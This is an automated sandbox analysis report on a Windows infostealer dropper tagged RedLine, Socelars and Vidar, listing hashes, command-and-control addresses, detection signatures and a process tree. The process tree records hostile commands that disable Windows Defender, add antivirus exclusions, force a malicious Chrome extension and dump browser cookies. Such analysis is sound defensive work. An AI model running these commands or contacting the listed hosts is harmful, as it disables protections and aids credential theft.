redline | e282ef9e1d23c80f8ef68d929b2a45352d7932e4f115d662774044b349fe7857

Analysis

max time kernel
19s
max time network
150s
platform
windows10_x64
resource
win10-en-20211208
submitted
16/12/2021, 03:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a07da855c104042f458271a043316e21.exe
Size 10.8MB
Sample211216-dlrkgsbhan
SHA256 e282ef9e1d23c80f8ef68d929b2a45352d7932e4f115d662774044b349fe7857
MD5 a07da855c104042f458271a043316e21
SHA1 47fb68b45e3a051a2adb642e53f65c7b82ca3002
SHA512 7e93b8f3a3cba03fa6dbf703ee1aaa6835d3e51e0c6bbb7cbb38366e49a9e445016483c8adca9df41110eb29e85e7eaca3c79fd7f934e572febc8a9c6bc36202
MD5 SHA1 SHA512

Score

10^/10

redline socelars vidar 03.12_build_3 aspackv2 evasion infostealer stealer suricata trojan

Malware Config

Extracted

Family

socelars

http://www.yarchworkshop.com/

Extracted

Family

redline

Botnet

03.12_BUILD_3

45.9.20.221:15590

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4116	4508	rundll32.exe	154
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5512	4508	rundll32.exe	154

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

resource	yara_rule
behavioral2/memory/2984-281-0x0000000002340000-0x000000000236E000-memory.dmp	family_redline
behavioral2/memory/2984-292-0x0000000004940000-0x000000000496C000-memory.dmp	family_redline
behavioral2/memory/4172-355-0x000000000041905A-mapping.dmp	family_redline
behavioral2/memory/5088-356-0x0000000000419062-mapping.dmp	family_redline
behavioral2/memory/4788-297-0x0000000000400000-0x00000000007FA000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab39-233.dat	family_socelars
behavioral2/files/0x000500000001ab39-206.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x000500000001ab31-163.dat	WebBrowserPassView
behavioral2/files/0x000500000001ab31-204.dat	WebBrowserPassView

Nirsoft 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab31-163.dat	Nirsoft
behavioral2/files/0x000500000001ab31-204.dat	Nirsoft

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000500000001ab25-122.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab24-123.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab25-126.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab24-125.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab27-128.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab27-131.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 27 IoCs

pid	Process
4112	setup_installer.exe
752	setup_install.exe
3352	Mon14406322acc80.exe
504	Mon1440cc5a3364ff87.exe
916	inst.exe
860	Mon14047d5ff2845c22.exe
1124	Mon14f375dc803.exe
1436	Mon14127f7c6b1e.exe
1920	Mon14296c0c4f.exe
2792	Mon14649c09bc01c.exe
4748	Mon146cd64d16fef.exe
4824	Mon1412f2c17e5a469c.exe
4828	Calculator Installation.exe
4976	Mon14e1b0047dd9c1a.exe
4960	Mon147b6b9473f4a72a.exe
4924	Mon1475ed9a12.exe
4544	Mon14db266323a13122d.exe
3108	Mon1426affb8b743.exe
5084	LzmwAqmV.exe
5064	Mon14127f7c6b1e.exe
3772	Mon146cd64d16fef.exe
4908	Mon144fbf9e67.exe
3200	Mon14296c0c4f.tmp
4840	Mon147b6b9473f4a72a.tmp
4788	Mon14f4c8b2e543a.exe
2984	Mon14d0fc63ae6d6838.exe
4792	Mon14296c0c4f.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mon14f4c8b2e543a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mon14f4c8b2e543a.exe

Loads dropped DLL 8 IoCs

pid	Process
752	setup_install.exe
752	setup_install.exe
752	setup_install.exe
752	setup_install.exe
752	setup_install.exe
752	setup_install.exe
3200	Mon14296c0c4f.tmp
4840	Mon147b6b9473f4a72a.tmp

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Mon14f4c8b2e543a.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
39	ip-api.com
151	ipinfo.io
152	ipinfo.io
204	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4748 set thread context of 3772	4748	Mon146cd64d16fef.exe	114
PID 5084 set thread context of 2984	5084	LzmwAqmV.exe	106

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
5296	2060	WerFault.exe	145
5692	1080	WerFault.exe	137
5732	3944	WerFault.exe	148
5312	516	WerFault.exe	150
1232	1080	WerFault.exe	137
1108	1080	WerFault.exe	137
3320	1080	WerFault.exe	137
6400	1080	WerFault.exe	137
6688	1080	WerFault.exe	137
6376	1080	WerFault.exe	137

Kills process with taskkill 4 IoCs

evasion

pid	Process
2964	taskkill.exe
4932	taskkill.exe
5664	taskkill.exe
5048	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe
4436	powershell.exe
4436	powershell.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	860	Mon14047d5ff2845c22.exe
Token: SeDebugPrivilege	3352	Mon14406322acc80.exe
Token: SeCreateTokenPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeAssignPrimaryTokenPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeLockMemoryPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeIncreaseQuotaPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeMachineAccountPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeTcbPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeSecurityPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeTakeOwnershipPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeLoadDriverPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeSystemProfilePrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeSystemtimePrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeProfSingleProcessPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeIncBasePriorityPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeCreatePagefilePrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeCreatePermanentPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeBackupPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeRestorePrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeShutdownPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeDebugPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeAuditPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeSystemEnvironmentPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeChangeNotifyPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeRemoteShutdownPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeUndockPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeSyncAgentPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeEnableDelegationPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeManageVolumePrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeDebugPrivilege	4828	Calculator Installation.exe
Token: SeImpersonatePrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: SeCreateGlobalPrivilege	4976	Mon14e1b0047dd9c1a.exe
Token: 31	4976	Mon14e1b0047dd9c1a.exe
Token: 32	4976	Mon14e1b0047dd9c1a.exe
Token: 33	4976	Mon14e1b0047dd9c1a.exe
Token: 34	4976	Mon14e1b0047dd9c1a.exe
Token: 35	4976	Mon14e1b0047dd9c1a.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeDebugPrivilege	4908	Mon144fbf9e67.exe
Token: SeDebugPrivilege	2984	Mon14d0fc63ae6d6838.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3368 wrote to memory of 4112	3368	a07da855c104042f458271a043316e21.exe	69
PID 3368 wrote to memory of 4112	3368	a07da855c104042f458271a043316e21.exe	69
PID 3368 wrote to memory of 4112	3368	a07da855c104042f458271a043316e21.exe	69
PID 4112 wrote to memory of 752	4112	setup_installer.exe	70
PID 4112 wrote to memory of 752	4112	setup_installer.exe	70
PID 4112 wrote to memory of 752	4112	setup_installer.exe	70
PID 752 wrote to memory of 4400	752	setup_install.exe	73
PID 752 wrote to memory of 4400	752	setup_install.exe	73
PID 752 wrote to memory of 4400	752	setup_install.exe	73
PID 752 wrote to memory of 4384	752	setup_install.exe	74
PID 752 wrote to memory of 4384	752	setup_install.exe	74
PID 752 wrote to memory of 4384	752	setup_install.exe	74
PID 4384 wrote to memory of 4440	4384	cmd.exe	79
PID 4384 wrote to memory of 4440	4384	cmd.exe	79
PID 4384 wrote to memory of 4440	4384	cmd.exe	79
PID 4400 wrote to memory of 4436	4400	cmd.exe	78
PID 4400 wrote to memory of 4436	4400	cmd.exe	78
PID 4400 wrote to memory of 4436	4400	cmd.exe	78
PID 752 wrote to memory of 4468	752	setup_install.exe	75
PID 752 wrote to memory of 4468	752	setup_install.exe	75
PID 752 wrote to memory of 4468	752	setup_install.exe	75
PID 752 wrote to memory of 4356	752	setup_install.exe	77
PID 752 wrote to memory of 4356	752	setup_install.exe	77
PID 752 wrote to memory of 4356	752	setup_install.exe	77
PID 752 wrote to memory of 3268	752	setup_install.exe	76
PID 752 wrote to memory of 3268	752	setup_install.exe	76
PID 752 wrote to memory of 3268	752	setup_install.exe	76
PID 752 wrote to memory of 3020	752	setup_install.exe	80
PID 752 wrote to memory of 3020	752	setup_install.exe	80
PID 752 wrote to memory of 3020	752	setup_install.exe	80
PID 752 wrote to memory of 3920	752	setup_install.exe	81
PID 752 wrote to memory of 3920	752	setup_install.exe	81
PID 752 wrote to memory of 3920	752	setup_install.exe	81
PID 752 wrote to memory of 4508	752	setup_install.exe	84
PID 752 wrote to memory of 4508	752	setup_install.exe	84
PID 752 wrote to memory of 4508	752	setup_install.exe	84
PID 752 wrote to memory of 4148	752	setup_install.exe	83
PID 752 wrote to memory of 4148	752	setup_install.exe	83
PID 752 wrote to memory of 4148	752	setup_install.exe	83
PID 752 wrote to memory of 4472	752	setup_install.exe	82
PID 752 wrote to memory of 4472	752	setup_install.exe	82
PID 752 wrote to memory of 4472	752	setup_install.exe	82
PID 4468 wrote to memory of 3352	4468	cmd.exe	91
PID 4468 wrote to memory of 3352	4468	cmd.exe	91
PID 4468 wrote to memory of 3352	4468	cmd.exe	91
PID 3020 wrote to memory of 504	3020	cmd.exe	90
PID 3020 wrote to memory of 504	3020	cmd.exe	90
PID 3020 wrote to memory of 504	3020	cmd.exe	90
PID 752 wrote to memory of 592	752	setup_install.exe	85
PID 752 wrote to memory of 592	752	setup_install.exe	85
PID 752 wrote to memory of 592	752	setup_install.exe	85
PID 752 wrote to memory of 812	752	setup_install.exe	89
PID 752 wrote to memory of 812	752	setup_install.exe	89
PID 752 wrote to memory of 812	752	setup_install.exe	89
PID 3268 wrote to memory of 916	3268	cmd.exe	134
PID 3268 wrote to memory of 916	3268	cmd.exe	134
PID 3268 wrote to memory of 916	3268	cmd.exe	134
PID 4356 wrote to memory of 860	4356	cmd.exe	88
PID 4356 wrote to memory of 860	4356	cmd.exe	88
PID 752 wrote to memory of 1036	752	setup_install.exe	86
PID 752 wrote to memory of 1036	752	setup_install.exe	86
PID 752 wrote to memory of 1036	752	setup_install.exe	86
PID 4148 wrote to memory of 1124	4148	cmd.exe	92
PID 4148 wrote to memory of 1124	4148	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\a07da855c104042f458271a043316e21.exe
"C:\Users\Admin\AppData\Local\Temp\a07da855c104042f458271a043316e21.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0106C285\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:752
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4400
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4436
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4384
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4440
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14406322acc80.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4468
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14406322acc80.exe
        
        Mon14406322acc80.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3352
      - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14406322acc80.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14406322acc80.exe
        6⤵
        
        PID:5088
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14e5c2784d0b778e.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3268
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14e5c2784d0b778e.exe
        
        Mon14e5c2784d0b778e.exe
        5⤵
        
        PID:916
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14047d5ff2845c22.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4356
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14047d5ff2845c22.exe
        
        Mon14047d5ff2845c22.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:860
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5084
        
        C:\Users\Admin\AppData\Local\Temp\mymtnfile.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mymtnfile.exe"
        7⤵
        
        PID:1976
        
        C:\Users\Admin\AppData\Local\Temp\OneCleanerInsti39322.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OneCleanerInsti39322.exe"
        7⤵
        
        PID:2164
        
        C:\Users\Admin\AppData\Local\18356345-ebc1-4550-92bc-56e4441e24f1.exe
        
        "C:\Users\Admin\AppData\Local\18356345-ebc1-4550-92bc-56e4441e24f1.exe"
        8⤵
        
        PID:1612
        
        C:\Users\Admin\AppData\Local\9bdcbbce-ec38-4e9a-bd3f-4c301b6c88c7.exe
        
        "C:\Users\Admin\AppData\Local\9bdcbbce-ec38-4e9a-bd3f-4c301b6c88c7.exe"
        8⤵
        
        PID:5028
        
        C:\Users\Admin\AppData\Local\43ba813f-411c-4cfe-9bf0-2bf34bce6fb9.exe
        
        "C:\Users\Admin\AppData\Local\43ba813f-411c-4cfe-9bf0-2bf34bce6fb9.exe"
        8⤵
        
        PID:3916
        
        C:\Users\Admin\AppData\Local\1f470ca2-96dd-4195-855d-66854c0c8257.exe
        
        "C:\Users\Admin\AppData\Local\1f470ca2-96dd-4195-855d-66854c0c8257.exe"
        8⤵
        
        PID:5204
        
        C:\Users\Admin\AppData\Roaming\5741703.exe
        
        "C:\Users\Admin\AppData\Roaming\5741703.exe"
        9⤵
        
        PID:7060
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" -U /s RcAvCrDa.GH5
        10⤵
        
        PID:4048
        
        C:\Users\Admin\AppData\Local\a031fef6-5bf7-47af-ac34-e0575baacf72.exe
        
        "C:\Users\Admin\AppData\Local\a031fef6-5bf7-47af-ac34-e0575baacf72.exe"
        8⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\Newboxstudio.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Newboxstudio.exe"
        7⤵
        
        PID:1632
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Newboxstudio.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Newboxstudio.exe" & del C:\ProgramData\*.dll & exit
        8⤵
        
        PID:6980
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Newboxstudio.exe /f
        9⤵
        Kills process with taskkill
        
        PID:5048
        
        C:\Users\Admin\AppData\Local\Temp\inst.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst.exe"
        7⤵
        Executes dropped EXE
        
        PID:916
        
        C:\Users\Admin\AppData\Local\Temp\chrome update.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
        7⤵
        
        PID:4336
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:2776
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension=C:\Users\Admin\AppData\Roaming\System\frv0gvdf.clf
        9⤵
        
        PID:1836
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb5bf54f50,0x7ffb5bf54f60,0x7ffb5bf54f70
        10⤵
        
        PID:1176
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2268 /prefetch:8
        10⤵
        
        PID:1796
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1764 /prefetch:8
        10⤵
        
        PID:3740
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1716 /prefetch:2
        10⤵
        
        PID:5552
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2656 /prefetch:1
        10⤵
        
        PID:1656
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2632 /prefetch:1
        10⤵
        
        PID:3056
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
        10⤵
        
        PID:6384
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3712 /prefetch:1
        10⤵
        
        PID:6436
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4560 /prefetch:8
        10⤵
        
        PID:7124
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4972 /prefetch:8
        10⤵
        
        PID:3848
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4556 /prefetch:8
        10⤵
        
        PID:6520
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1708,9007100725849054551,1815507788249296769,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4576 /prefetch:8
        10⤵
        
        PID:6484
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:1080
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 812
        8⤵
        Program crash
        
        PID:5692
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 848
        8⤵
        Program crash
        
        PID:1232
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 872
        8⤵
        Program crash
        
        PID:1108
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 960
        8⤵
        Program crash
        
        PID:3320
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 964
        8⤵
        Program crash
        
        PID:6400
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 936
        8⤵
        Program crash
        
        PID:6688
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 1048
        8⤵
        Program crash
        
        PID:6376
        
        C:\Users\Admin\AppData\Local\Temp\yangxiuying-game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\yangxiuying-game.exe"
        7⤵
        
        PID:1084
        
        C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4828
        
        C:\Users\Admin\AppData\Local\Temp\H1kvtapkF6mhD\Calculator License Agreement.exe
        
        "C:\Users\Admin\AppData\Local\Temp\H1kvtapkF6mhD\Calculator License Agreement.exe"
        8⤵
        
        PID:6196
        
        C:\Users\Admin\AppData\Local\Temp\chrome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
        7⤵
        
        PID:2060
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2060 -s 1508
        8⤵
        Program crash
        
        PID:5296
        
        C:\Users\Admin\AppData\Local\Temp\chrome1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
        7⤵
        
        PID:3944
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3944 -s 1508
        8⤵
        Program crash
        
        PID:5732
        
        C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        7⤵
        
        PID:516
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 516 -s 1508
        8⤵
        Program crash
        
        PID:5312
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1440cc5a3364ff87.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3020
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon1440cc5a3364ff87.exe
        
        Mon1440cc5a3364ff87.exe
        5⤵
        Executes dropped EXE
        
        PID:504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14296c0c4f.exe
      4⤵
      PID:3920
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14296c0c4f.exe
        
        Mon14296c0c4f.exe
        5⤵
        Executes dropped EXE
        
        PID:1920
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon14649c09bc01c.exe
      4⤵
      PID:4472
    - - C:\Users\Admin\AppData\Local\Temp\7zS0106C285\Mon14649c09bc01c.exe
        
        Mon14649c09bc01c.exe
        5⤵
        Executes dropped EXE
        
        PID:2792
      - C:\Users\Admin\AppData\Local\Temp\11111.exe
        
        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:3824
